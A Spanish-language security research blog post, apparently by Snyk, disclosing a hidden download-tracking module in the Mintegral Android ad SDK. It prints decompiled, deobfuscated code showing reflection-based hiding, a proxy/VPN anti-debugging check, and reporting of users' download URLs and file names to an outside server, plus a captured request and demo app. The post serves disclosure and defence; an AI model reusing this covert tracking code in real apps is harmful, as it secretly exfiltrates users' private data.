Este es el mismo endpoint que se usó en el SDK de iOS para enviar datos al servidor de Mintegral. La carga útil está codificada, pero podemos usar la lógica de decodificación incluida en el binario del SDK para obtener lo siguiente:

p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

Tenemos dos parámetros codificados adicionales: clever y dvi. Después de decodificarlos también, notamos algo interesante:

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Como podemos ver, la URL de la hoja de cálculo de Google que descargamos desde la aplicación Google Drive se envía al backend en el campo ul, y el nombre del archivo descargado, en el campo kw, mientras que dvi contiene algunos datos del dispositivo.

Posibles usos

En el caso de iOS, se enviaban clics duplicados fraudulentos desde el dispositivo del cliente a los servidores de Mintegral y, luego, al proveedor de atribución (MMP). En este caso, las descargas o instalaciones de APK se reportan a los servidores y podrían usarse para generar clics del lado del servidor. El siguiente diagrama muestra el flujo de datos:

Diagrama que muestra un SDK malicioso en una aplicación Android afectada que usa ContentResolver y Play Market para descargar un APK y enviar datos de clics falsos.

Módulo Alphab

El comportamiento mencionado arriba se encuentra en el módulo alphab, que Mintegral describió como un “paquete de optimización”:

Guía de integración del SDK de Android que muestra la sección de inicialización del SDK y una tabla de paquetes de video, anuncios splash, interactividad y optimización

Después de nuestra publicación, el módulo se eliminó del sitio de Mintegral y parece que ya no forma parte del SDK distribuido. Descompilamos el SDK y localizamos el código responsable de este comportamiento.

Clase AlphaCommonConst

public final class AlphaCommonConst {

    /* renamed from: a */    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */    public static String f2c = "decode error";

    /* renamed from: d */    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */    /* compiled from: AlphaCommonConst */    public static class C0000a {

        /* renamed from: a */        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

Esta clase contiene muchas definiciones de constantes codificadas de forma rígida. Algunas cadenas están ofuscadas con un esquema de codificación propio basado en Base64, ubicado en la clase AlphabBase64Util, similar a lo que observamos en la distribución de iOS.

Al decodificarlas, obtenemos las siguientes cadenas:

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Estas se usan en los pasos de inicialización que veremos a continuación.

Receptor Alphab

En el método init() de la clase AlphabReceiver, el BroadcastReceiver se inicializa con algunas de las cadenas previamente ofuscadas:

try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

Al reemplazarlas por las cadenas decodificadas, el código queda así:

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
.invoke(context, alphab_receiver, intent_inst);

Podemos ver que, mediante la API de reflexión de Java, se crea un nuevo receptor de difusión que escucha dos tipos de intents:

  • android.intent.action.PACKAGE_ADDED: un intent de todo el sistema que se activa cuando se instala un paquete en el dispositivo.

  • alphab_net_debug_action: un intent personalizado que parece detectar la depuración de red.

Al recibir el intent, la clase AlphabReceiver construye un método ParseAndLoad():

public final class ParseAndLoad {

    /* renamed from: a */    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Este campo se usa posteriormente en una condición:

public final void mo40a() {
   boolean z = true;
   try {
        AlphabImpl.m61c(AlphabImpl.this);
        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
                if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
                    g.b(AlphabImpl.f62a, "did in database " + this.f82c);
                } else if (AlphabImpl.this.f64b != null) {
                    Context a = AlphabImpl.this.f64b;
                    if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
                        z = false;
                    }
                    if (z) {
                        g.b(AlphabImpl.f62a, "insert did" + this.f82c);
                        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
                        AlphabImpl.m56a(AlphabImpl.this, this.f82c);
                    }
                }
            } catch (Exception e) {
                if (MIntegralConstans.DEBUG) {
                    e.printStackTrace();
                }
            }
        }

Al descompilar los otros dos métodos de esa cláusula if, se revela que comprueban si la conexión de red actual pasa por un proxy Wi-Fi o un cliente VPN. Esto busca impedir la depuración de la aplicación y la inspección de su tráfico. Este intent permite a los desarrolladores del SDK eludir esta función antidepuración.

Observador Alphab

De forma similar, el bloque de inicialización de este ContentObserver también está oculto mediante reflexión y cadenas ofuscadas:

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Después de limpiar el código, obtenemos lo siguiente:

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Esto significa que el observador de contenido está registrado para escuchar el URI content://downloads y se activa cada vez que se descarga un archivo en el dispositivo.

Consultará al administrador de descargas de Android para obtener las descargas públicas:

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

y, al decodificar la cadena, obtenemos lo siguiente:

cursor = aVar.f64b.getContentResolver()
.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Si la URL de descarga cumple alguna de las siguientes condiciones, se generará un informe a https://n.systemlog.met/stlog:

  1. Termina en apk: para las descargas manuales.

  2. Hace referencia a un paquete que pertenece a com.android.vending o la URL contiene google.com: esto detectará cualquier aplicación de Google e incluso las URL del navegador que cumplan la condición.

A continuación se muestra el fragmento de código que envía la solicitud al servidor https://n.systemlog.met/stlog.

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

que equivale a:

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

"Y aquí podemos ver los parámetros que observamos en la solicitud capturada en nuestro ejemplo:

static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p: nombre del paquete que se descarga, es decir, la aplicación

  • v: versión de la aplicación

  • ul: URL del archivo descargado

  • kw: nombre del archivo descargado

  • fl: tamaño del archivo

Aplicación de demostración

Pantalla de una aplicación de Android titulada «Mi aplicación», con botones para solicitar permisos de escritura, habilitar la depuración y descargar el logo de Google I y el APK

Para demostrar este comportamiento, creamos una aplicación de demostración que nos permitió:

1. Habilitar la marca de depuración de red mediante reflexión para eludir la lógica antidepuración

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. Descargar un archivo desde una URL que contiene google.com

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. Descargar un archivo desde una URL que termina en apk

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

"Capturamos las solicitudes salientes con un proxy HTTP. Después de hacer clic en uno de los botones de descarga, vemos que se envía una solicitud al endpoint del servidor:

Burp Suite Community Edition muestra una solicitud POST interceptada a n.systemlog.me con encabezados HTTP y datos de formulario codificados.

Aquí tienes un video que muestra el comportamiento de seguimiento:

Malicious Mintegral SDK Leaks Data on Android

Cronología

Fecha

Evento de investigación

5 de ago.

El equipo de investigación de Snyk descubre que el SDK de Mintegral para iOS recopila datos en exceso y secuestra clics

17 de ago.

Snyk comunica responsablemente los hallazgos a Apple

24 de ago.

Snyk publica los hallazgos sobre Sour Mint para iOS

25 de ago.

Mintegral publica una declaración en la que niega las acusaciones sobre el SDK

3 de sept.

IronSource anuncia que eliminará Mintegral de su plataforma de mediación

3 de sept.

Mintegral lanza la versión 6.5.0.0 del SDK para iOS y elimina el componente malicioso y oculto _CXX_CXX_OperationPKTask

4 de sept.

La plataforma de mediación MoPub (Twitter) anuncia la descertificación de Mintegral de su plataforma

4 de sept.

Mintegral anuncia sus planes para publicar el código fuente de su SDK

4 de sept.

El equipo de investigación de Snyk identifica una funcionalidad oculta de seguimiento de descargas en la versión para Android del SDK

9 de sept.

Snyk comunica responsablemente a Google los hallazgos sobre el SDK para Android

10 de sept.

Mintegral lanza la versión 6.6.0.0 del SDK para iOS y elimina el componente de puerta trasera MTGRemoteCommandParser

22 de sept.

Snyk obtiene el código fuente de la versión 6.6.0.0 del SDK para iOS y realiza un análisis de diferencias

23 de sept.

Snyk descubre que Mintegral eliminó el módulo de seguimiento de descargas de Google de su SDK para Android

30 de sept.

Mediante un análisis de diferencias, Snyk descubre una puerta trasera en la versión para iOS del SDK que permite la ejecución remota de código (RCE)

2 de oct.

Snyk comunica responsablemente a Apple los nuevos hallazgos sobre iOS

3 de oct.

Apple notifica a los editores afectados y les pide que eliminen el código que permite la ejecución remota de código

15 de oct.

Snyk publica los hallazgos más recientes sobre iOS y Android

Leer más

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.

Blog

Por qué los agentes de programación con IA siguen generando fallas de control de acceso

Los agentes de programación con IA pueden generar lógica de autorización que compila y supera la revisión, pero expone los datos de un inquilino a otro. Descubre por qué es difícil detectar el control de acceso roto y cómo prevenirlo.